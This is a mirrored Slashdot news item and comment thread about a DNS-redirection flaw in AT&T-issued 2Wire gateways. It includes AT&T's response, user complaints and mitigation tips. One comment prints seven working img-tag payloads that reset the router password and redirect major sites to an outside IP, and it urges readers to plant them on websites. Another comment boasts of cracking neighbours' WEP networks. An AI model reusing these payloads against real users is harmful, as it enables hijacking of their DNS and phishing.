Slashdot Mirror
AT&T, 2Wire Ignoring Active Security Exploit [Updated]
An anonymous reader writes "2Wire manufactures DSL modems and routers for AT&T and other major carriers. Their devices suffer from a DNS redirection vulnerability that can be used as part of a variety of attacks, including phishing, identity theft, and denial of service. This exploit was publicly reported more than eight months ago and applies to nearly all 2Wire firmware revisions. The exploit itself is trivial to implement, requiring the attacker only to embed a specially crafted URL into a Web site or email. User interaction is not required, as the URL may be embedded as an image that loads automatically with the requested content. The 2Wire exploit bypasses any password set on the modem/router and is being actively exploited in the wild. AT&T has been deploying 2Wire DSL modems and router/gateways for years, so there exists a large vulnerable installed base. So far, AT&T/2Wire haven't done anything about this exploit." Update: 04/09 17:48 GMT by KD : AT&T spokesman Seth Bloom sends word that AT&T has not been ignoring the problem. According to Bloom: "The majority of our customers did not have gateways affected by this vulnerability. For those that did, as soon as we became aware of the issue, we expeditiously implemented a permanent solution to close the vulnerability. In fact, we've already updated the majority of affected 2Wire gateways, and we're nearing completion of the process. We've received no reports of any significant threats targeting our customers."
... I still have my old Speedstream 5100b. :)
anyone know if this affects the 2wire 2700 gateways?
upon the advice of my lawyer, i have no sig at this time
on how to walk my mom through changing her IP scheme and modify the hosts file? Do I have to go over there?
One of our competitors trademarked the term "hypothesis". From now on, we will call them "boneheaded ideas".
that sucks... Wow, i believe this is the ONLY thing that makes me be glad that i am a comcast customer.
Me Chinese
Exploit SOCKS,
Me put malware
On your box!
Just hack her. Saves time AND MONEY.
It's not being ignored. However, telcos like to have security fixes tested before sending them out to a few million gateways.
Need I say more? If people don't react, they deserve to be screwed.
What's these bastards' excuse for standing around with their thumb up their bum for eight months while people get their lives turned inside out?
I smell lawsuits. Many, many lawsuits.
I've calculated my velocity with such exquisite precision that I have no idea where I am.
... wont be much surprised if most of the Kraken botnet (or other so widespread malware) are mostly behind 2Wire routers.
One of the worst routers I have ever had. Besides resetting itself arbitrarily, it would forget it's own settings and revert to the default, or half of the settings would revert to the default and the other half.... ? Also, right before I threw it out my window, it forgot it was a wireless router completely. I mean, it reset itself one last time and quit broadcasting completely. Even the setup pages lost the wireless part. I could manually enter in the wireless setup URL, and it would show one with random values in each field.
I'm just waiting for a nice cooler day to take it to the shooting range. The manual traps and some shotgun pellets might make up for all my anguish.
Never trust these combination modem/router/firewalls. Put the thing in bridge mode and run a real router behind it (such as an old pc running Debian or OpenBSD or even an old Cisco).
Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
I can detect 4 of these routers from inside my house, all using the SSID 2WIRE. There must be tens of thousands of these things out there, the vast majority running the default, unsecured configuration...
End of lesson. You may press the button.
You can implement a temporary fix yourself. The first post in the following thread describes how to protect yourself until 2wire fixes the issue 2Wire Cross Site Request Forgery Vulnerability .
Here is a short summary:
First, change the IP scheme that the 2wire is using for your home network. Specifically, change the IP address of the 2wire router itself. This will prevent attacks against 192.168.1.254.
Next you have to prevent attacks against the domains "home" and "gateway.2wire.net". You can do this a couple of ways. You can modify your hosts file and point those domains to 127.0.0.1... or you can hardcode the dns settings into your computer so that your computer is not using the 2wire to resolve domain names.
Of course the bottom line is 2wire needs to plug this hole. When will that happen? Who knows.
I have to deal with a 2700 for one of remote locations (or have to deal with it until next month, when we get a useful router/modem). What a piece of shit. The software is so bunged up that I can't even get rid of customized open app ports. What a horrendous piece of shit. Who designs these things? They should be taken out and have their brains removed, though it's likely they wouldn't notice, with firmware as faulty as that which they put in their routers.
The world's burning. Moped Jesus spotted on I50. Details at 11.
Probably as bad...
Speadstream is deployed by Prodigy infinitum In Mexico, it even has been recalling the old speadstream modems form their useras, that does not have this exploit, yet there is no warning to the subscriber of this flaw
Also in Mexico it has been used to redirect the page of www.banamex.com, one of the most importantas banks of Mexico.
First using false postcards form one popular site www.gusanito.com , and now is using false youtube invitations.
Banamex also is not resporting this to its users, and their tehc department acts as if thery were unaware of the problem, asking to reinstall windows etc... when they know it is the modem.
I already know several people who has lost money, even as some users are trying to spead the word.
So who is the culprit 2wire, prodigy, or Banamex... ?
Their DNS implementation puts A records in the response section of a reply to an AAAA request too.
The thing is useless.
2Wire access points also come hard-coded for 56-bit WEP, which can be cracked in seconds. I have a list of hundreds of WEP keys I got just from riding my bicycle around San Francisco with a laptop chugging away in my backpack. These are by far the worst access points ever deployed, and they are, sadly, also the most widely deployed in the USA.
If you want to join into the phun, put the following onto your website (or onto somebody else's website, if he happens to still use IIS):
<img src="http://192.168.1.254/xslt?PAGE=H04_POST&PASSWORD=admin&PASSWORD_CONF=admin" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=google.com&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.google.com&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=cnn.com&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.cnn.com&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=slashdot.org&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.slashdot.org&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
Say no to software patents.
There won't be any repercussions for them. the customer will get screwed, why would they care?
If you mod me down, I will become more powerful than you can imagine....
i've worked with these things (their 2700 gateways). they're great modems (though really really sensitive to surges), but these guys do not know how to design the router side. go above a couple hundred connections, and it crashes it (hitting "refresh all" in the CS server browser will do this almost every time). try to transfer files between wired and wireless (or vise versa) and it slows to a crawl. best idea is put the damn thing in bridge mode and get a real router.
upon the advice of my lawyer, i have no sig at this time
I'm not a legal eagle by any means but if someone out there has the knowledge or connections, can you shed some light on liability?
I mean, if it is that AT&T has deployed customer equipment with known exploits, I would think the user would be limited in their liability - or so it seems to a rational mind. Not only is this bad news for consumers as a whole but it is just as bad - if not worse - for businesses such as the small businesses that use these modems/routers.
These devices also suffer from another exploit -- the one where technicians come in and leave the WiFi completely open and not tell the customer or, worse, tell them they're "protected" because it's "firewalled."
:-(
I've seen this with my own eyes dozens of times.
If Nalgene water bottles are outlawed, only outlaws will have Nalgene water bottles.
Yeah, total garbage. The wireless on mine is basically useless. When I could get a connection it I got maybe 5% of the bandwidth I was supposed to have, and this is from about 5 feet from the base station.
Also the routing is screwy, it won't route my external IP address from inside the network so I can't use my domain name to log into my server when I'm home. What a joke.
We hope your rules and wisdom choke you / Now we are one in everlasting peace
I've often suspected the router itself due to the fact that this never happens when I'm maxing out my internet connection with only a couple of transactions, but that settles it. I'm getting a new router.
If it's for-profit but free, you're not the customer -- you're the product (e.g., the Slashdot Beta's "audience").
"So far, AT&T/2Wire haven't done anything about this exploit."
A new firmware 5.29.105.94 for 2Wire 3800HGV-B (ATT U-Verse ADSL) offers a solution to this exploit.
http://www.uverseusers.com/component/option,com_smf/Itemid,2/topic,7112.0/
They are one very shady company
When I moved to my new place, Telus gave me a 2WIRE. I recoiled at the clunky, bloated thing. As luck would have it, there were physical problems with my hookup (yes, this was luck, trust me) and when the Telus guy came out to fix it and realized I knew what I was doing (which made his job a hell of a lot easier) as well as gawked at my dual-monitor setup ("My wife doesn't let me buy stuff like that anymore") I asked him if there was any way to fix the friggin' 2WIRE piece of crap.
He said "well hey, that's for our...well, normal customers. Obviously you don't need a firewall or a wireless router or all that." He gave me a tiny little Thompson SpeedTouch 516v6 and mentioned it even trained a lot faster than the 2WIRE thing too. I've been happy ever since.
The moral of the story, bug your ISP! Sometimes what they give you isn't actually the only option.
I remember sigs. Oh, a simpler time!
The correct device type is router, as modems are just dumb devices with no DNS feature at all.
The fact that a box attaches to a PC for Internet access doesn't imply it is a modem.
Maybe Computers will never be as intelligent as Humans.
For sure they won't ever become so stupid. [VR-1988]
Well, the 2700 series at least run a version of BSD Unix. The firewall/router is ipf, a well used packet filter.
What they have added is there own DNS server, which is a bit rubbish.
In defence of 2Wire, the grandparent's problems sound like a hardware problem to me. The flash memory seems to have been dying.
The one thing about the 2700 series is that they *WILL* get you about a 1Mb/s increase in ADSL connection speed over other modems and with long lines this can make a real difference.
Agrajag: "Oh no, not again!"
I have a 2Wire 2700HG-E from Telus. I assume this would have the same vulnerability?
Honestly. I am a liberal arts major - a somewhat geeky liberal arts major that can set up my own home network, but a liberal arts major nonetheless - and I can easily gain access to the many WEP-secured networks up in my neighborhood, just by using tools that are readily available online with a smart google search. There are 3 that I can reach without even leaving the apartment. I tap into them when my roommate complains about my pr0n torrents hogging bandwidth.
So I suppose the take-away is to never for the love of god use WEP, unless you want your WiFi network to be a haven for bandwidth-leeching liberal arts porn hounds.
They gave me one for my house. I ended up replacing it with an old SpeedStream I had and a TrendNet router. The 2700's radio is terrible.
+++ATH0
Is it possible that this was only the case because you had someone smart enough to hack your router being a wireless router, and not a wired one, and then once in would know the reset commands???
Once again ignorance reigns, I would have asked ATT and 2Wire for information before publishing this..
Step 1 is to set the password to a known value: Step 2 is to set the DNS redirection using our new password: It's nice that the AT&T spokesperson says they've almost finished updating, but if that's really true, why don't I, or the other guy with 4.25.19, have the fixed firmware? How/where/when can I get it? Tech support thinks I'm paranoid.
Some of the newer 5.xx firmwares do require an authenticated session to perform this hack, but the 5.xx versions only work on Homeportal 2XXX models. The older HomePortal 1XXX models that AT&T had been deploying until recently still use an older 4.xx firmware, with the most recent known version 4.25.19
That version does not require an authenticated session, because the H04_POST page does not validate password. Thus the attacker simply sends a series of two URLs - the first using H04_POST to set the password to a known value, then the A02_POST page to set the DNS redirect.
See here: http://www.dslreports.com/forum/r20309001-ATT-claims-this-is-fixed
I have a brand new (got it last week from AT&T) 2Wire gateway that is open to the vulnerability, its internal firmware update facility shows "no update available", no firmware updates available from AT&T support or 2Wire support. So it looks like AT&T's statement was misinformed or deliberately misleading - not a surprise I suppose.